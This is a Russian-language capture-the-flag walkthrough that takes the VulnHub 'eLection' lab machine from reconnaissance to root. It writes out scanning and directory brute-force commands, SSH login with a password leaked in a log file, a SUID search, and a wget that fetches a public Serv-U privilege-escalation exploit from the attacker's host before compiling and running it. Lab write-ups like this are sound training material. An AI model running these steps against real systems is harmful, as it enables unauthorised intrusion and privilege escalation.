Capture the Flag, CTF, eLection

Решение CTF (eLection).

Здравствуйте, дорогие друзья. Сегодня будем решать задание ctf на виртуальной машине, которая называется eLection. Скачать ее можно с Vulnhab-a, перейдя по ссылке: https://www.vulnhub.com/entry/election-1,503/

vulnhub election

После скачивания в обязательном порядке нужно сверить контрольную сумму данной виртуальной машины, которая располагается на странице скачивания ниже:

После скачивания в обязательном порядке нужно сверить контрольную сумму данной виртуальной машины, которая располагается на странице скачивания ниже

Это хеш MD5 и SHA1. Так как у меня хостовая ось – это Windows 10, то я буду сверять сумму с помощью программы HashTab:

сверка контрольной суммы с помощью hashtab

Отлично, теперь можно распаковывать архив и импортировать виртуальную машину в среду виртуализации (у меня это WmWare). Делается это очень просто. Двойной клик мыши по файлу с расширением .ova, и установка.

Если с этим справились, то можно запускать машину для дальнейшего решения задания CTF.

Так как мы ничего не знаем о данной машине (кроме того, что это дистрибутив Ubuntu), нам нужно узнать ip-адрес данной машине в нашей сети. Делается это с помощью инструмента «Netdiscover»:

netdiscover

После тестирования каждого айпи, мы узнали, что актуальный адрес для нас будет: 192.168.119.143. Это в моем случае. В Вашем будет немного отличаться адреса.

Перейдем в браузер и видим дефолтное окно сервера Apache2:

server apache2

Далее нам необходимо просканировать айпи адрес на наличие открытых портов. Это делается с помощью команды «nmap –p- -A 192.168.119.143»:

nmap –p- -A 192.168.119.143

Исходя из сканирования, у нас есть два открытых порта – это 22 и 80 порты соответственно.

Далее нам нужно воспользоваться инструментом для сканирования каталогов, который называется «gobuster». Настоятельно рекомендую почитать справку данной программы, чтобы понимать синтаксис. Команда будет выглядеть как: «gobuster dir -u http://192.168.119.143/ -w /usr/share/dirb/wordlists/common.txt»:

gobuster dir -u http://192.168.119.143/ -w /usr/share/dirb/wordlists/common.txt

Нас будет интересовать страница «robots.txt»:

robots.txt

Запись в «robots.txt» довольно интересная, но нас будет интересовать последнее слово «election». Это проверяется методом проб и ошибок. Нам нужно просто вставить данное слово после айпи-адреса машины:

Запись в «robots.txt» довольно интересная, но нас будет интересовать последнее слово «election». Это проверяется методом проб и ошибок. Нам нужно просто вставить данное слово после айпи-адреса машины

Мы видим веб-морду election.

Далее воспользуемся сканером dirsearch. Dirsearch — это простой инструмент командной строки, предназначенный для перебора каталогов и файлов на веб-сайтах. Скачать его можно с гитхаба, перейдя по ссылке: https://github.com/maurosoria/dirsearch

Далее копируем данную ссылку и переходим в терминал, предварительно перейдя на рабочий стол и введя команду «git clone https://github.com/maurosoria/dirsearch.git»:

Мы видим веб-морду election. Далее воспользуемся сканером dirsearch. Dirsearch - это простой инструмент командной строки, предназначенный для перебора каталогов и файлов на веб-сайтах. Скачать его можно с гитхаба, перейдя по ссылке: https://github.com/maurosoria/dirsearch  Далее копируем данную ссылку и переходим в терминал, предварительно перейдя на рабочий стол и введя команду «git clone https://github.com/maurosoria/dirsearch.git»

Переходим в директорию «dirsearch» и запускаем скрипт с помощью команды: «./dirsearch.py –u http://192.168.119.143/election/ -e * -x 403»:

./dirsearch.py –u http://192.168.119.143/election/ -e * -x 403»

Нас будет интересовать путь «/election/admin/logs». Переходим в браузер и вводим данный путь:

Нас будет интересовать путь «/election/admin/logs». Переходим в браузер и вводим данный путь

Получаем системный файл с логами. Это интересно уже. Скачиваем файл и открываем его:

Получаем системный файл с логами. Это интересно уже. Скачиваем файл и открываем его

Видим, что у нас есть пароль пользователя «Love». Сразу копируем его и идем в терминал, для того, чтобы сконнектиться по ssh (мы помним, что у нас открыт 22 порт ssh):

connect to ssh

Мы в системе под пользователем «love»:

Мы в системе под пользователем «love»

Переходим в директорию временных файлов «/tmp», и вводим команду для поиска возможных уязвимых каталогов «find / -perm /4000 2>/dev/null»:

find / -perm /4000 2>/dev/null

После вывода нас будет интересовать директория: «/usr/local/Serv-U/Serv-U», так как мы можем подобрать эксплойт под данную уязвимость.

Ссылка на эксплойт: https://www.exploit-db.com/exploits/47009 Скачиваем данный файл к себе на машину и проверяем айпи-адрес:

serv-u ft[ server exploit
ifconfig

Вводим команду для загрузки и прослушивания: «php –S 192.168.119.142:7676»:

php –S 192.168.119.142:7676

Переходим на сервер и загружаем скрипт с помощью команды: «wget http://192.168.119.142:7676/47009.c»:

Переходим на сервер и загружаем скрипт с помощью команды: «wget http://192.168.119.142:7676/47009.c»

Проверяем, загружен ли эксплойт:

Проверяем, загружен ли эксплойт

Осталось запустить эксплойт и получить права рут. Это можно реализовать с помощью команды: «gcc 47009.c –o pe && ./pe»:

gcc 47009.c –o pe && ./pe

Перейдем в директорию /root и находим флаг:

Перейдем в директорию /root и находим флаг

На этом все. Всем хорошего дня!